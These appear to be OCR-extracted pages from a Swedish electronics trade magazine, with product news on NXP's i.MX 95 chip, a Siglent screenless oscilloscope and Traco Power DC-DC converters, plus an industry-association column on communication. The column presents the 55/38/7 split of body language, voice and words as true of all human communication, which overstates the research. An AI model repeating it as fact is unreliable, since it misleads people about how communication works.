NXP släpper ett ny generation av sin systemkretsfamilj IMX (i.MX) baserad på upp till sex Cortex A55-cpuer. Tilllämpningar finns inom edge, fordon och industri.

Den borde även kunna vara stark på användargränssnitt, tycker NXP, gärna med många parallella skärmar. Och IoT, om genomströmningskraven är höga, den stöder 10 Gbit/s Ethernet.

Den nya generationen heter IMX95 (i.MX 95). Det är en systemkrets fullspäckad med dedikerade kärnor och systemlösningar. För AI används NXP:s egen neuronkärna EIQ Neutron och en utvecklingsmiljö med samma namn.

FÖR

används NXP Safe Assure. Edgelock används för att definiera säkrade enklaver.

För realtid finns en Arm Cortex M7- och en M33-cpu

med stöd för TSN för tidssynkronisering. Den har även kärnor för kryptering, 3D-grafik och bildanalys.

3D-grafikkärnan är från Arm. Den tillhör familjen Mali. Bildkärnan är en egen konstruktion – den och EIQ Neutron ska tillsammans vara ett radarpar för AI-datorseende inom exempelvis medicin, robotik och fordon.

Utöver en port för 10 Gbit/s Ethernet har den två portar för 1 Gbit/s Ethernet med stöd för TSN. Behöver du Wifi, Bluetooth LE, satellit eller 5G kopplar du in dem via två oberoende PCI Express 3.0-bussar.

Du kan ansluta två 4k-skärmar eller fyra 1080p-skärmar. Det finns även audio- och kamera-

anslutningar i olka gränssnitt – se diagrammet! – liksom USB 3, Can, Flex IO och diverse standardgränssnitt. Och en åttakanlig tolvbitars AD-omvandlare.

EDGELOCK OCH SÄKRADE enklaver möjliggör funktioner som säkrad uppstart, kryptering, hantering av tillit (trust provisioning), attestering i realtid (run-time attestation), nyckelhantering, fjärrstyrning och säkra program. Ytterligare en säkerhetsfunktion är att minnet krypteras i realtid.

Strömsnålhet hanteras i ett system kallat Energy Flex som bland annat kan styra förbrukning i separata domäner för Cortex A- och M-cpuerna.

Minnesgränssnitten är LPDDR5 och LPDDR4X.

Provexemplar för utvalda kunder släpps under andra halvåret i år. När produkterna släpps i volym kommer de att finnas köpa i minst 15 år framöver.

jan@etn.se

512 oscilloskopkanaler utan skärm

■ TEST OCH MÄT

2 GHz bandbredd, fyra eller åtta kanaler med möjligheten att bygga ut till 512 synkroniserade kanaler. Kinesiska Siglents skärmlösa oscilloskop passar halvledarindustrin och inbyggda system av det lite mer komplexa slaget.

Oscilloskopet SDS6000L finns med 500 MHz, 1 GHz och 2 GHz bandbredd. Den maximala samplingsfrekvensen är 5 GSa/s medan antalet kanaler är två eller fyra. Minnet är på 500 MSampel

och delas mellan fyra kanaler. Modellen med åtta kanaler har två stycken minnen på 500 MSampel. Som tillval finns 16 digitala kanaler för logikanalys.

MED HJÄLP AV en separat synkroniseringsenhet (SYNC64) går det att sätta ihop flera oscilloskop för att öka antalet kanaler. Som mest går det att ha 512 tidssynkroniserade kanaler.

Bygghöjden är bara 1U för den fyrkanaliga modellen som precis som den åttakanaliga modellen siktar in sig på produktions-

miljöer där liten storlek ofta är prioriterat och en skärm sällan nödvändig. Dock går det att ansluta en skärm och en mus för den som vill använda systemet i labbet. Det går också att fjärrstyra instrumentet via en webbserver.

SDS6000L kommer med en rad analysfunktioner inklusive jitter, ögondiagram, effektmätning och masktestning med statisk analys.

Det går också att göra tidsdomänmätningar med en speciell TDR-prob.

per@etn.se

Utökar 30-wattarna

■ KRAFT

Schweiziska Traco Power lanserar en ny generation DCDC-omvandlare i metallkapsel med måtten 1 × 1 tum för bland annat industriella tillämpningar.

THL 30WI finns i 14 modeller för inspänningsområdena 9–36 VDC och 18–75 VDC. Utspänningarna är 3,3, 5, 12,15, 24, ±12 eller ±15 VDC. Effektiviteten är upp till 88 procent. De är specificerade för temperaturer från −40 till +60°C vilket kan utökas med en extern kylfläns. Isolationen på ingången på 1500 VDC. Vidare har de skydd mot för stor last, överspänningar och kortslutning.

Det går att fjärrstyra bland annat till- och frånslag.

Battery Testing Simulation

Svensk Elektronik

– tillsammans för branschens bästa

Låt mer än elektroniken vara väsentlig i din kommunikation

I föreliggande nummer av Elektroniktidningen finns mycket läsvärt om kommunikation, och då med ett särskilt fokus på tekniken 5G som inom en snar framtid får en e erföljare i 6G. Summerat, för konsumenten, handlar det mest om överföringshastighet –snabbt skall det gå ty vi människor har bråttom, och snabbare går det för varje teknikgeneration.

Naturligtvis finns det också en hel del elektronik i den utrustning som möjliggör överföring av meddelanden i olika former i telekomoperatörernas nät. Bilder, filmer, texter, andra media-applikationer och mycket mer – allt ska skickas till höger och vänster, dygnet runt, året runt. Fort ska det som sagt gå, och utan avbrott. Tänk vad elektronik som disciplin och bransch bidrar till i vårt högteknologiska samhälle; makalöst! Tack vare elektroniken har telekomoperatörerna genomgått ett paradigmskiſte där fokus har skiſtat från 100 år av röstsamtal som bärande i affärsmodellen till datatrafik – detta om något vittnar om elektronikens viktiga roll som möjliggörare i olika sammanhang.

Kommunikation, smaka på ordet. Ganska lätt att uttala, men en konst att bemästra,

faktiskt. Det finns mycket att tänka på när vi ger oss i kast med att kommunicera; ett kommatecken på fel ställe kan lätt leda till missförstånd, ord uppbyggda enbart med versaler kan leda till konflikter. Ja, det gäller att ha koll på hur vi framför det vi vill förmedla. Verbal kommunikation som med ord förmedlar tankar och idéer. Icke-verbal kommunikation som utan ord gör detsamma – en frisyr eller en byggnads utseende är exempel på när ett budskap eller ett ställningstagande förmedlas utan ord. Visuell kommunikation kan vara en Herr Gårman-skylt vid ett övergångsställe. Visste du förresten att det vid all mänsklig kommunikation inte räcker med själva essensen av budskapet? Vi fäster olika vikt vid själva paketeringen av budskapets framförande, enligt följande:

• 55% hänförs till kroppsspråket och kroppsställningen samt våra gester och graden av ögonkontakt

• 38% till rösten och hur det låter

• 7% av innehållet eller orden som används

Så, när allt kommer omkring är det säkert bra med snabbare telekomnät, men låt oss en bit in på det nya året tänka eſter före när vi kommunicerar så att det blir rätt även eſteråt.

KALENDARIUM

19–20 april Elektronikmässan, Göteborg

19 april Kurs i Elektronikhandboken, Elektronikmässan, Göteborg

27 april Direktivsdagen 2023

16 maj Evertiq Expo, Malmö

14 juni Vårmöte Svensk Elektronik

29 november Höstmöte Svensk Elektronik

svenskelektronik.se/ kalendarium

Tillsammans skapar vi branschens framtid! Ditt företag är väl med? Ett medlemskap i Svensk Elektronik stärker dig och ditt företag. www.svenskelektronik.se info@svenskelektronik.se